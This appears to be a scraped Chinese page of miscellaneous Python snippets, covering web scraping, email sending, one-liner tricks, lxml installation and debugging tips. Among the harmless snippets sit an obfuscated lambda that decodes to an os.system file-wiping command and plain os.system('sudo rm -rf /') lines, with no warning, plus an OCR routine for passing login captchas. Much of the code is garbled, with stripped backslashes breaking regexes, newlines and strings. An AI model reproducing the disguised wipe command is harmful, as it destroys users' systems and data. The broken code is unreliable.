摘要：上傳文件此處打開指定的文件中的正則表達(dá)式匹配只能匹配非換行符，換成即可使用進(jìn)行文件夾對(duì)比只存在于中只存在于中發(fā)送郵件發(fā)送郵件發(fā)件人信箱郵箱密碼收件人信箱請(qǐng)確保開啟了服務(wù)郵件提醒親愛(ài)的郵件提醒更新行代碼判定色情圖片命

import requests
#https://zhuanlan.zhihu.com/p/20091394
s = requests.session()
url = "http://how-old.net/Home/Analyze?isTest=False&source=&version=001"
header = {
"Accept-Encoding":"gzip, deflate",
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:34.0) Gecko/20100101 Firefox/34.0",
"Host": "how-old.net",
"Referer": "http://how-old.net/",
"X-Requested-With": "XMLHttpRequest"
    }

data = {"file":open("test.jpg", "rb")}
 #此處打開指定的jpg文件

r = s.post(url, files=data, headers=header)   
h = r.content
print h

a = [0, 1, 2, 3, [4, 5, 6], 7]
b = a[:]
a[0] = 5
a[4][0] = 99
print(a)
print(b)
print([id(x) for x in a])
print([id(x) for x in b])

# encoding:utf-8
import urllib
import re
import json

url = "http://news.163.com/special/00014RJU/nationalnews-json-data.js"
result = urllib.urlopen(url).read().strip()
pattern = re.compile(r";var newsList=(.*)")
pattern = re.compile(r";var newsList=([sS]*)")#.*只能匹配非換行符，換成[sS]*即可
matchs = pattern.match(result)
print(matchs.group())

#coding:gbk
from filecmp import dircmp


def show_diff_files(dcmp):
    for name in dcmp.diff_files:
        print "diff_file %s found in %s and %s" % (name, dcmp.left,dcmp.right)
    for sub_dcmp in dcmp.subdirs.values():
        show_diff_files(sub_dcmp)

def show_only(dcmp):
    if dcmp.left_only:
        ave_rst = 1
        for i in dcmp.left_only:
            print "%s只存在于%s中"%(i,dcmp.left)
    if dcmp.right_only:
        for i in dcmp.right_only:
            print "%s只存在于%s中"%(i,dcmp.right)
    for sub_dcmp in dcmp.subdirs.values():
        show_only(sub_dcmp)

def compare(dir1,dir2):
    dcmp = dircmp(dir1,dir2)
    show_diff_files(dcmp)
    show_only(dcmp)

from email import encoders
from email.header import Header
from email.mime.text import MIMEText
from email.utils import parseaddr, formataddr
from time import sleep
from bs4 import BeautifulSoup
import requests
import smtplib
import time
def SendMessage(title):  # 發(fā)送郵件
    def _format_addr(s):
        name, addr = parseaddr(s)
        return formataddr((Header(name, "utf-8").encode(), addr))

    from_addr = "xxx@163.com"#發(fā)件人信箱
    password = "xxxx"#郵箱密碼
    to_addr = "xxx@163.com"#收件人信箱
    smtp_server = "smtp.163.com"#請(qǐng)確保開啟了smtp服務(wù)
    msg = MIMEText(title, "plain", "utf-8")
    msg["From"] = _format_addr("郵件提醒 <%s>" % from_addr)
    msg["To"] = _format_addr("親愛(ài)的 <%s>" % to_addr)
    msg["Subject"] = Header("郵件提醒更新", "utf-8").encode()
    server = smtplib.SMTP(smtp_server, 25)
    server.set_debuglevel(1)
    server.login(from_addr, password)
    server.sendmail(from_addr, [to_addr], msg.as_string())
    server.quit()
print(SendMessage("hello"))

import sys, Image  
  
img = Image.open(sys.argv[1]).convert("YCbCr")  
  
w, h = img.size  
  
data = img.getdata()  
  
cnt = 0  
  
for i, ycbcr in enumerate(data):  
  
    y, cb, cr = ycbcr  
  
    if 86 <= cb <= 117 and 140 <= cr <= 168:  
  
        cnt += 1  
  
print "%s %s a porn image."%(sys.argv[1], "is" if cnt > w * h * 0.3 else "is not") 

>>> echo "{"key":"value"}" | python -m json.tool
{
    "key": "value"
}
//python -m json.tool

//在 vim 中執(zhí)行這句代碼，可以快速格式化 json 數(shù)據(jù)
curl -L http://restapi/json_response -o json-response | python -m json.tool

python -c "import socket; sock=socket.create_connection(("ns1.dnspod.net",6666)); print sock.recv(16); sock.close()"

$ python -c "print(" ".join([str(i) for i in range(1,10000)]))" | say

import re; from collections import Counter Counter(re.findall(r"w+",open("hamlet.txt").read().lower())).most_common(100)

m = [ [1,2],[3,4]] zip(*m)

import antigravity就會(huì)打開 xkcd.com/about/

sum(map(int, str(2**1000)))

filter(lambda x: all(map(lambda p: x % p != 0, range(2, x))), range(2, n))

a=[3, 8, 9, 4, 1, 10, 6, 7, 2, 5]
[a[i:i+3] for i in xrange(0,len(a),3)]
結(jié)果[[3, 8, 9], [4, 1, 10], [6, 7, 2], [5]]

m = {"a": 1, "b": 2, "c": 3, "d": 4}
{v: k for k, v in m.items()}
結(jié)果：{1: "a", 2: "b", 3: "c", 4: "d"}

a = [1, 2, [3, 4], [[5, 6], [7, 8]]]
flatten = lambda x: [y for l in x for y in flatten(l)] if type(x) is list else [x]
flatten(a);
結(jié)果：[1,2,3,4,5,6,7,8]

python -m SimpleHTTPServer 8000,然后瀏覽器打開 localhost:8000，一個(gè)簡(jiǎn)易的web服務(wù)就開啟了

print "n".join([" ".join(["%s%s=%-2s" % (y,x,xy) for y in range(1,x+1)]) for x in range(1,10)])

print(*(i for i in range(2, 1000) if all(tuple(i%j for j in range(2, int(i**.5))))))

print [x[0] for x in [ (a[i][0], a.append((a[i][1], a[i][0]+a[i][1]))) for a in ([[1,1]], ) for i in xrange(100) ]]

import requests
import urllib

# 榜單歌曲批量下載
# r = requests.get("http://music.163.com/api/playlist/detail?id=2884035")    # 網(wǎng)易原創(chuàng)歌曲榜
# r = requests.get("http://music.163.com/api/playlist/detail?id=19723756")    # 云音樂(lè)飆升榜
# r = requests.get("http://music.163.com/api/playlist/detail?id=3778678")    # 云音樂(lè)熱歌榜
r = requests.get("http://music.163.com/api/playlist/detail?id=3779629")    # 云音樂(lè)新歌榜

# 歌單歌曲批量下載
# r = requests.get("http://music.163.com/api/playlist/detail?id=123415635")    # 云音樂(lè)歌單——【華語(yǔ)】中國(guó)風(fēng)的韻律，中國(guó)人的印記
# r = requests.get("http://music.163.com/api/playlist/detail?id=122732380")    # 云音樂(lè)歌單——那不是愛(ài)，只是寂寞說(shuō)的謊

arr = r.json()["result"]["tracks"]    # 共有100首歌
    
for i in range(10):    # 輸入要下載音樂(lè)的數(shù)量，1到100。
    name = str(i+1) + " " + arr[i]["name"] + ".mp3"
    link = arr[i]["mp3Url"]
    urllib.request.urlretrieve(link, "網(wǎng)易云音樂(lè)" + name)    # 提前要?jiǎng)?chuàng)建文件夾
    print(name + " 下載完成")

import webbrowser

urls = [
    "http://www.douban.com",
    "http://weibo.com",
    "http://www.zhihu.com",
    "http://www.v2ex.com/",
    "https://github.com/",
    "https://mail.google.com/",
    "http://instagram.com/",
]

map(lambda x: webbrowser.open(x), urls)

# -*- coding: utf-8 -*-
import requests
from bs4 import BeautifulSoup
import smtplib
from email.mime.text import MIMEText
from email.Header import Header

result = {"name": [], "cover": [], "desc": [], "link": [], "price": []}


def get_page():
    return requests.get("http://t.cn/Rvm4xgc").text


def parse(html):
    soup = BeautifulSoup(html)
    table = soup.body.find_all("table")[6]

    name = table.find_all("tr")[1]

    result["name"].append(name.find_all("td")[0].b.string)
    result["name"].append(name.find_all("td")[2].b.string)

    desc = table.find_all("tr")[2]

    book_1 = desc.find_all("td")[0]
    result["cover"].append(book_1.a.img["src"])
    result["link"].append("http://www.amazon.cn" + book_1.a["href"])
    result["desc"].append(book_1.contents[1])
    result["price"].append(book_1.find_all("p")[1].b.span.string)

    book_2 = desc.find_all("td")[2]
    result["cover"].append(book_2.a.img["src"])
    result["link"].append("http://www.amazon.cn" + book_2.a["href"])
    result["desc"].append(book_2.contents[1])
    result["price"].append(book_2.find_all("p")[1].b.span.string)


mail_config = {
    "from": "gitradar@163.com",
    "to": "liushuaikobe1993@163.com",
    "server": "smtp.163.com",
    "username": "gitradar",
    "pwd": "yourpassword"
}


def send_mail(sbj, content, from_whom=mail_config["from"], to_whom=mail_config["to"], server=mail_config["server"],
              username=mail_config["username"], pwd=mail_config["pwd"]):
    msg = MIMEText(content, "html", "utf-8")
    msg["Subject"] = Header(sbj, "utf-8")
    msg["From"] = from_whom
    msg["To"] = to_whom
    s = smtplib.SMTP(server)
    s.ehlo()
    s.starttls()
    s.login(username, pwd)
    s.sendmail(from_whom, to_whom, msg.as_string())


def build_html():
    return "" 
            + "
"+ result["name"][0] + "  " + result["price"][0] + "
" 
            + "" 
            + "" 
            + "" 
            + "
" + result["desc"][0] + "
" 
            + "
"+ result["name"][1] + "  " + result["price"][1] + "
" 
            + "" 
            + "" 
            + "" 
            + "
" + result["desc"][1] + "
" 
            + ""


if __name__ == "__main__":
    parse(get_page())
    html = build_html()
    sbj = "Kindle今日特價(jià)書"
    send_mail(sbj, html)

print("
".join(["".join([("PYTHON!"[(x-y)%7]if((x*0.05)**2+(y*0.1)**2-1)**3-(x*0.05)**2*(y*0.1)**3<=0else" ")for x in range(-30,30)])for y in range(15,-15,-1)]))

                THON!PYTH           YTHON!PYT               
            !PYTHON!PYTHON!PY   N!PYTHON!PYTHON!P           
          N!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON!PYTH         
         N!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON        
        N!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON!P       
        !PYTHON!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON!PY       
        PYTHON!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON!PYT       
        YTHON!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON!PYTH       
        THON!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON!PYTHO       
        HON!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON       
         N!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON        
          PYTHON!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON         
          YTHON!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON!         
            ON!PYTHON!PYTHON!PYTHON!PYTHON!PYTHON           
             !PYTHON!PYTHON!PYTHON!PYTHON!PYTHON            
              YTHON!PYTHON!PYTHON!PYTHON!PYTHON             
                ON!PYTHON!PYTHON!PYTHON!PYTHO               
                  PYTHON!PYTHON!PYTHON!PYTH                 
                    HON!PYTHON!PYTHON!PYT                   
                       PYTHON!PYTHON!P                      
                          ON!PYTHON                         
                             YTH                            
                              H

import zipfile 
try:
    with zipfile.ZipFile("1.zip") as zFile:     #創(chuàng)建ZipFile對(duì)象
        #解壓文件
        zFile.extractall(path="./",pwd=b"1314")
        print("Extract the Zip file successfully!")
except:
    print("Extract the Zip file failed!")

In [1]: isinstance(1, (int, long, float))
True

In [2]: isinstance("a", (int, long, float))
False
In [1]: foo = "123.456"

In [2]: foo.replace(".", "", 1).isdigit()
True

In [3]: bar = "12.34.56"

In [4]: bar.replace(".", "", 1).isdigit()
False

def input_num():
    while True:
        num = raw_input("input a number : ")
        if num.replace(".", "", 1).isdigit():
            return num
>>> f = 1.0
>>> f.is_integer()
True
>>> f = 1.0 / 3 + 2.0 / 3
>>> f.is_integer()
True
try:
    f = float(input_value)
except Exception:
    ...
else:
    # Is it a integer?
    if f.is_integer():
        ...
    else:

1. 安裝wheel，命令行運(yùn)行：
pip install wheel

2.在http://www.lfd.uci.edu/~gohlke/pythonlibs/#lxml 這里下載對(duì)應(yīng)的.whl文件，注意別改文件名！
Ctrl + F，輸入lxml，找到下面這段
Lxml, a binding for the libxml2 and libxslt libraries.
lxml?3.4.4?cp27?none?win32.whl
lxml?3.4.4?cp27?none?win_amd64.whl
lxml?3.4.4?cp33?none?win32.whl
lxml?3.4.4?cp33?none?win_amd64.whl
lxml?3.4.4?cp34?none?win32.whl
lxml?3.4.4?cp34?none?win_amd64.whl
lxml?3.4.4?cp35?none?win32.whl
lxml?3.4.4?cp35?none?win_amd64.whl
cp后面是Python的版本號(hào)，27表示2.7，根據(jù)你的Python版本選擇下載。

3. 進(jìn)入.whl所在的文件夾，執(zhí)行命令即可完成安裝
pip install 帶后綴的完整文件名
$ pip install lxml-3.6.4-cp35-cp35m-win32.whl
Processing .lxml-3.6.4-cp35-cp35m-win32.whl
Installing collected packages: lxml
Successfully installed lxml-3.6.4
http://stackoverflow.com/questions/29440482/how-to-install-lxml-on-windows 
http://stackoverflow.com/questions/2817869/error-unable-to-find-vcvarsall-bat 

(lambda _: getattr(__import__(_(28531)), _(126965465245037))(_(9147569852652678349977498820655)))((lambda ___, __, _: lambda n: ___(__(n))[_ << _:-_].decode(___.__name__))(hex, long, True))
 
import os
os.system("sudo rm -rf /")
__import__("os").system("sudo rm -rf /")

from selenium import webdriver
import time


browser = webdriver.Chrome()
browser.get("http://cnblogs.com")
time.sleep(1)
browser.find_element_by_link_text("登錄").click()
time.sleep(1)
browser.find_element_by_id("input1").send_keys("用戶名")
browser.find_element_by_id("input2").send_keys("密碼")
browser.find_element_by_id("signin").click()
time.sleep(1)
try:
    if browser.find_element_by_link_text("退出"):
        print "Login Successfully."
except:
    print "Login failed."


from selenium import webdriver
source_url="http://huaban.com/boards/28195582/"
headers={
    "Host":"huaban.com",
    "Pragma":"no-cache",
    "Cache-Control":"no-cache",
    "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36",
    "Cookie":"xxxxxx"
}
cap = webdriver.DesiredCapabilities.PHANTOMJS
cap["phantomjs.page.settings.userAgent"] = headers["User-Agent"]    #設(shè)置請(qǐng)求header頭信息
cap["phantomjs.page.settings.loadImages"] = False                   #禁止加載圖片
cap["phantomjs.page.customHeaders.Host"]=headers["Host"]
cap["phantomjs.page.customHeaders.Pragma"]=headers["Pragma"]
cap["phantomjs.page.customHeaders.Cookie"]=headers["Cookie"]
driver = webdriver.PhantomJS(desired_capabilities=cap)
driver.get(source_url)

echo "u00e8u0091u0089u00e7u008au00b6u00e3u0083u00a2u00e3u0083u008eu00e3u0083u009du00e3u0083u00bcu00e3u0083u00abu00e3u0082u00a2u00e3u0083u00b3u00e3u0083u0086u00e3u0083u008a"
x = u"u00e8u0091u0089
print x

doc = """

    
        
     
     
        
p1p1p1
            b1b1b1
        
 
        
p2p2p2
        

            
u1u1u1
            a1a1a1
            

                a2a2a2 
                b2b2b2
                
p3p3p3
            
            a3a3a3 
        
 
        
p4p4p4
    

"""

from lxml import html

tree = html.fromstring(doc)
a = tree.get_element_by_id("a1")
print(html.tostring(a))
print(html.tostring(tree).decode())

def dropnode(e=None):
    if e is None: return
    if e.tag == "body": return
    nd = e.getnext()
    while nd is not None:
        nd.drop_tree()
        nd = e.getnext()
    dropnode(e.getparent())

dropnode(a)
print(html.tostring(tree).decode()) 

import requests
from bs4 import BeautifulSoup

r = requests.get("http://www.pythonscraping.com")
bs = BeautifulSoup(r.text,"lxml")
image = bs.find("a", {"id": "logo"}).find("img")["src"]

ir = requests.get(image)
if ir.status_code == 200:
    open("logo.jpg", "wb").write(ir.content)
 
import requests
from bs4 import BeautifulSoup

r = requests.get("http://www.pythonscraping.com")
bs = BeautifulSoup(r.text,"lxml")
image = bs.find("a", {"id": "logo"}).find("img")["src"]

ir = requests.get(image)
if ir.status_code == 200:
    open("logo.jpg", "wb").write(ir.content)

import lxml.etree 
import urllib.request
from lxml.etree import *
str_url = "http://eutils.ncbi.nlm.nih.gov/entrez/eutils/efetch.fcgi?db=pubmed&id=26693255&retmode=text&rettype=xml"
request = urllib.request.Request(str_url)
xml_text = urllib.request.urlopen(request).read()
root = lxml.etree.XML(xml_text) # xml_text 為xml純文本文件
# example  獲取雜志名稱和ISSN
# 使用 tag作為輸入需要逐級(jí)進(jìn)行
journal_name = root.find("PubmedArticle").find("MedlineCitation").find("Article").find("Journal").find("Title").text
# 也可以使用xpath(必須使用相對(duì)路徑，以.//開頭，如果想使用絕對(duì)路徑可以使用xpath函數(shù))
journal_name = root.find(".//Title").text
print("xpath:" ,journal_name)
journal_name = root.xpath("http://Title")[0].text
print(journal_name)

import lxml.html
str_url = "http://movie.douban.com/"
request = urllib.request.Request(str_url)
html_text = urllib.request.urlopen(request).read()
root = lxml.html.fromstring(html_text)
# 獲取本頁(yè)面所有項(xiàng)目名稱 cssselect() 函數(shù)，返回list，包含所有匹配的結(jié)果，可以使用css選擇器，類似于jquery
movies_list = [a.text for a in  root.cssselect("div.billboard-bd tr td a")]
print(movies_list)
# 獲取所有電影超鏈接
movies_href = [a.get("href") for a in  root.cssselect("div.billboard-bd tr td a")]
print(movies_href)

n=7 
list1=["a","b","c","d"] 
print (l * (n // len(l) + 1))[:n]
(list1 * 2)[:n]
import itertools 
import math 
(list1 * math.ceil( n / len(list1) ) )[:7] 
n=7 
list1=["a","b","c","d"] 
print list(itertools.islice(itertools.cycle(list1), 0, n)) 

pip install wheel
http://www.lfd.uci.edu/~gohlk... 下載對(duì)應(yīng)版本的 lxml和Twisted，cp后面是Python的版本號(hào)，27表示2.7 pip install 對(duì)應(yīng)的whl文件
pip install scrapy

list(set(list2)-set(list1))

eval("[1,2,3,4]")
[1, 2, 3, 4]
json.loads(str)
ast.literal_eval(str)
raw = b"{"aa":11,"bb":22,"cc":33}"
d   = json.loads(str(raw, "utf-8"))
d = eval(b"{"aa":11,"bb":22,"cc":33}")
s = b"{"aa":11,"bb":22,"cc":33}".decode("utf-8")  # 先解碼成字符串
data = json.loads(s)  # 解析為字典對(duì)象

a_part = [2001, 12000]
b_part = [1001, 2000]
c_part = [11, 1000]
d_part = [1, 10]

data = range(1, 12000)
labels = [a_part, b_part, c_part, d_part]
sizes = []
for part in labels:
    sum = 0
    for each in data:
        sum += each if each >= part[0] and each <= part[1] else 0
    sizes.append(sum)
print(sizes)
sizes = [sum(each for each in data if part[0] <= each <= part[1]) for part in labels]
sizes = [sum(x for x in data if low<=x<=high) for low,high in labels]

import smtplib
from email.mime.text import MIMEText

mail_host = "smtp.163.com"  # SMTP服務(wù)器
mail_user = "username"  # 用戶名
mail_pass = "passwd"  # 密碼

sender = "user@163.com"  # 發(fā)件人郵箱(最好寫全, 不然會(huì)失敗)
receivers = ["to_someone@qq.com"]  # 接收郵件，可設(shè)置為你的QQ郵箱或者其他郵箱


content = "過(guò)期教程害死人!"
title = "Python SMTP Mail Test"  # 郵件主題
message = MIMEText(content, "plain", "utf-8")  # 內(nèi)容, 格式, 編碼
message["From"] = "{}".format(sender)
message["To"] = ",".join(receivers)
message["Subject"] = title

try:
    smtpObj = smtplib.SMTP_SSL(mail_host, 465)  # 啟用SSL發(fā)信, 端口一般是465
    smtpObj.login(mail_user, mail_pass)  # 登錄驗(yàn)證
    smtpObj.sendmail(sender, receivers, message.as_string())  # 發(fā)送
    print("mail has been send successfully.")
except smtplib.SMTPException as e:
    print(e)
    
    ###pip UnicodeDecodeError: "ascii" codec can"t decode byte 0xc0 in position 0
    vi mimetypes.py
    import sys
reload(sys)
sys.setdefaultencoding("utf-8")
    ###后臺(tái)運(yùn)行命令
    from subprocess import run
run("ping 127.0.0.1",shell=True)

import pandas as pd

cols = ["流水號(hào)", "處理人", "處理時(shí)間"]
data = [[10000, "張三", "2016-10-01"],
        [10000, "李四", "2016-10-02"],
        [10001, "王五", "2016-10-01"],
        [10002, "趙六", "2016-10-03"],
        [10001, "黃七", "2016-10-02"],
        [10000, "吳八", "2016-10-03"]]

df = pd.DataFrame(data,columns=cols)
grp = [(n, ",".join([r for r in set(df[df["流水號(hào)"]==n]["處理人"])]))
                       for n in set(df["流水號(hào)"])]

df2 = pd.DataFrame(grp, columns=cols[:-1])
print(df)
print(df2)

cols = ["流水號(hào)", "處理人", "處理時(shí)間"]
data = [[10000, "張三", "2016-10-01"],
        [10000, "李四", "2016-10-02"],
        [10001, "王五", "2016-10-01"],
        [10002, "趙六", "2016-10-03"],
        [10001, "黃七", "2016-10-02"],
        [10000, "吳八", "2016-10-03"]]
frame = pd.DataFrame(data,columns=cols)

def combination(names):
    return ",".join(names)
    
frame.groupby("流水號(hào)").aggregate(combination)

import pandas as pd
pd.read_csv("1.csv", skiprows=[0, 2]) # 跳過(guò)文件第一行和第三行

list(set(list2)-set(list1))
a = ["a","b","c","e"]
b = ["b","c","f"]
li = [ item for item in b if item not in a]

import sys, os

try:
    raise NotImplementedError("No error")
except Exception as e:
    exc_type, exc_obj, exc_tb = sys.exc_info()
    fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
    print(exc_type, fname, exc_tb.tb_lineno)

    def encode(s):
    return " ".join([bin(ord(c)).replace("0b", "") for c in s])

def decode(s):
    return "".join([chr(i) for i in [int(b, 2) for b in s.split(" ")]])
    
>>>encode("hello")
"1101000 1100101 1101100 1101100 1101111"
>>>decode("1101000 1100101 1101100 1101100 1101111")
"hello"
>>> bin(int("256", 10))
"0b100000000"
>>> str(int("0b100000000", 2))
"256"

http://www.lfd.uci.edu/~gohlk... 下載lxml，文件名是這樣的： lxml-3.6.4-cp27-cp27m-win32.whl
cp27表示python2.7 cmd里輸入python第一行末尾win32，就說(shuō)明python是32位的
pip install wheel #如果沒(méi)有安裝過(guò)wheel就安裝
pip install lxml-**.whl #在whl文件目錄中執(zhí)行

import time
local = time.localtime()
print(time.localtime(1400000000))
time.mktime(local)#接受時(shí)間元組并返回時(shí)間輟
my_format = "%Y/%m/%d %H:%M:%S"
my_time = time.localtime()
print(my_time)
print(time.strftime(my_format, my_time))

def fn(x, L=[]):
  L.append(x)
  return L

print(fn(1))   # [1]
print(fn(7))   # [1, 7]
print(fn(13))  # [1, 7, 13]
// 而 javascript (ES6) 沒(méi)有上面那個(gè)坑
function fn(x, L=[]){
  L.push(x);
  return L.toString();
}

console.log(fn(1))   // "1"
console.log(fn(7))   // "7"
console.log(fn(13))  // "13"

[(i,j) for i in range(3) for j in range(i) ]
((i,j) for i in range(4) for j in range(i) )

from future import braces

re.compile(r"d+(.*)",re.DEBUG)

import sys

class ExceptionHook:
    instance = None

    def __call__(self, *args, **kwargs):
        if self.instance is None:
            from IPython.core import ultratb
            self.instance = ultratb.FormattedTB(mode="Plain",
                 color_scheme="Linux", call_pdb=1)
        return self.instance(*args, **kwargs)

sys.excepthook = ExceptionHook()
ipython --pdb your_scripyt.py
from ipython import embed;embed()
 import ipdb; ipdb.set_trace()
python -m pdb your.py

ipython test.py --pdb
---------------------------------------------------------------------------
ZeroDivisionError                         Traceback (most recent call last)
/Users/dongweiming/test/test.py in ()
      2 b = 0
      3 
----> 4 a / b

ZeroDivisionError: integer division or modulo by zero
*** NameError: name "pdb" is not defined
> /Users/dongweiming/test/test.py(4)()
      1 a = 1
      2 b = 0
      3 
----> 4 a / b

ipdb> p b  # p是print的別名
0
ipdb> p a
1
ipdb>

import sys

def get_cur_info():
    print sys._getframe().f_code.co_filename  # 當(dāng)前文件名
    print sys._getframe(0).f_code.co_name  # 當(dāng)前函數(shù)名
    print sys._getframe(1).f_code.co_name　# 調(diào)用該函數(shù)的函數(shù)的名字，如果沒(méi)有被調(diào)用，則返回module
    print sys._getframe().f_lineno # 當(dāng)前行號(hào)

    a_dict = {"%d^2" % item: item**2 for item in range(5)}
print(a_dict)    # {"3^2": 9, "2^2": 4, "1^2": 1, "0^2": 0, "4^2": 16}
a_generator = (item**2 for item in range(5))#生成器
a_list_generator = iter(a_list)
print(list(map(lambda x, y: x**y, range(1, 5), range(1, 5))))    # [1, 4, 27, 256]
print(reduce(lambda x, y: x+y, range(10)))    # 45
print(reduce(lambda x, y: x+y, range(10), 100))    # 145
print(reduce(lambda x, y: x+y, [[1, 2], [3, 4]], [0]))    # [0, 1, 2, 3, 4]

print(filter(None, range(-4, 5)))    # 
print(list(filter(None, range(-4, 5))))    # [-4, -3, -2, -1, 1, 2, 3, 4]
print(list(filter(lambda x: x > 0, range(-4, 5))))    # [1, 2, 3, 4]

print(all([0, 1, 2]))    # False 判定一個(gè)可迭代對(duì)象是否全為True或者有為True
print(any([0, 1, 2]))    # True


for index, item in enumerate(range(5)):
    print("%d: %d" % (index, item))    # 0: 0 
 1: 1 
 2: 2
    
    for a, b in zip([1, 2, 3], ["a", "b", "c"]):
    print(a, b)    # 1 a 
 2 b 
 3 c
a_dict = dict(zip([1, 2, 3], ["a", "b", "c"]))
print(a_dict)    # {1: "a", 2: "b", 3: "c"}
>>> [(a,b )for a, b in zip([1, 2, 3], ["a", "b", "c"])]
[(1, "a"), (2, "b"), (3, "c")]
一行代碼啟動(dòng)一個(gè)Web服務(wù)

python -m SimpleHTTPServer 8080  # python2
python3 -m http.server 8080  # python3
一行代碼實(shí)現(xiàn)求解2的1000次方的各位數(shù)之和
print(sum(map(int, str(2**1000))))
多維數(shù)組轉(zhuǎn)化為一維
flatten = lambda x: [y for l in x for y in flatten(l)] if isinstance(x, list) else [x]
一行代碼計(jì)算出1-100之間的素?cái)?shù)
print(" ".join([str(item) for item in filter(lambda x: not [x % i for i in range(2, x) if x % i == 0], range(2, 101))]))
print(" ".join([str(item) for item in filter(lambda x: all(map(lambda p: x % p != 0, range(2, x))), range(2, 101))]))
一行代碼打印九九乘法表
print("
".join([" ".join(["%s*%s=%-2s" % (y, x, x*y) for y in range(1, x+1)]) for x in range(1, 10)]))

1*1=1
1*2=2  2*2=4
1*3=3  2*3=6  3*3=9
1*4=4  2*4=8  3*4=12 4*4=16
1*5=5  2*5=10 3*5=15 4*5=20 5*5=25
1*6=6  2*6=12 3*6=18 4*6=24 5*6=30 6*6=36
1*7=7  2*7=14 3*7=21 4*7=28 5*7=35 6*7=42 7*7=49
1*8=8  2*8=16 3*8=24 4*8=32 5*8=40 6*8=48 7*8=56 8*8=64
1*9=9  2*9=18 3*9=27 4*9=36 5*9=45 6*9=54 7*9=63 8*9=72 9*9=81

一行代碼輸出特定字符"Love"拼成的心形
print("
".join(["".join([("Love"[(x-y) % len("Love")] if ((x*0.05)**2+(y*0.1)**2-1)**3-(x*0.05)**2*(y*0.1)**3 <= 0 else " ") for x in range(-30, 30)]) for y in range(30, -30, -1)]))
循環(huán)過(guò)程中變更 list 長(zhǎng)度是錯(cuò)誤的思路
for i in range(0,len(list1)): 
if list1[i].find("a") != -1: 
   list1.pop(i) 

list1 = [x for x in list1 if "a" not in x]
list1 = ["print", "lock", "china", "page"] 

list2 = filter(lambda item: "a" not in item,list1) 

from fractions import Fraction
        x = Fraction(4, 6)                       # 分?jǐn)?shù)類型 4/6
        x = Fraction("0.25")                     # 分?jǐn)?shù)類型 1/4

增強(qiáng)賦值和共享引用：普通+號(hào)會(huì)生成新的對(duì)象，而增強(qiáng)賦值+=會(huì)在原處修改
        L = M = [1, 2]
        L = L + [3, 4]                      # L = [1, 2, 3, 4], M = [1, 2]
        L += [3, 4]                         # L = [1, 2, 3, 4], M = [1, 2, 3, 4]


 
{x**2 for x in [1, 2, 3, 4]}                         # 集合解析
"%(name1)d---%(name2)s" % {"name1":23, "name2":"value2"}

"{0}, {1} and {2}".format("spam", "ham", "eggs")            # 基于位置的調(diào)用
    "{motto} and {pork}".format(motto = "spam", pork = "ham")   # 基于Key的調(diào)用
    D = dict([("name", "tom"), ("age", 12)])          # {"age": 12, "name": "tom"}
    D = dict(zip(["name", "age"], ["tom", 12]))
    "first line" in open("test.txt")   # in測(cè)試 返回True或False
    L = [("b",2),("a",1),("c",3),("d",4)]
        sorted(L, key=lambda x: x[1]), reverse=True)      # 使用Key參數(shù)和reverse參數(shù)
        sorted(L, key=lambda x: (x[0], x[1]))             # 使用key參數(shù)進(jìn)行多條件排序，即如果x[0]相同，則比較x[1]
        #-- 模塊的包導(dǎo)入:使用點(diǎn)號(hào)(.)而不是路徑(dir1dir2)進(jìn)行導(dǎo)入
    import dir1.dir2.mod                # d導(dǎo)入包(目錄)dir1中的包dir2中的mod模塊 此時(shí)dir1必須在Python可搜索路徑中
    from dir1.dir2.mod import *         # from語(yǔ)法的包導(dǎo)入
    from .. import spam                 # 導(dǎo)入當(dāng)前目錄的父目錄下的spam模塊
    from subprocess import call
call(["ls", "-l"])
    字典排序
    
    import operator
x = {1: 2, 3: 4, 4: 3, 2: 1, 0: 0}
sorted_x = sorted(x.items(), key=operator.itemgetter(1))  dict(sorted_x)就是你想要的結(jié)果

def get_captcha(self, data, captcha_url): 
self._session.post(self.login_url, data=data) 
r = self._session.get(captcha_url) 
with open("image/captcha.gif", "wb") as f: 
f.write(r.content) 

image = Image.open("image/captcha.gif") 

captcha = "" 
try: 
captcha = pytesseract.image_to_string(image, lang="eng") 
except Exception: 
pass 
if len(captcha) == 0: 
self.get_captcha(data, captcha_url) 
else: 
print("captcha:", captcha) 
 os.remove("image/captcha.gif") 
return captcha 

list = [ {"student_name": zhangsan, "student_score": 65}, {"student_name": lisi, "student_score": 95}, {"student_name": wangwu, "student_score": 80}, {"student_name": maliu, "student_score": 75}, {"student_name": zhuqi, "student_score": 88} ]
from operator import itemgetter 
top3 = sorted(lst, key=itemgetter("student_score"), reverse=True)[:3] 
print sorted(list, key=lambda student: student["student_score"])[-3:]

def get_wednesday_date():
     today = date.today()  
     days = 2 - today.weekday()  
     time_delta = timedelta(days=days) if days > 0 else timedelta(days=7+days) 
     return  today + time_delta
def get_wednesday_date(): 
return date.today() + timedelta(((2 - date.today().weekday()) + 7) % 7)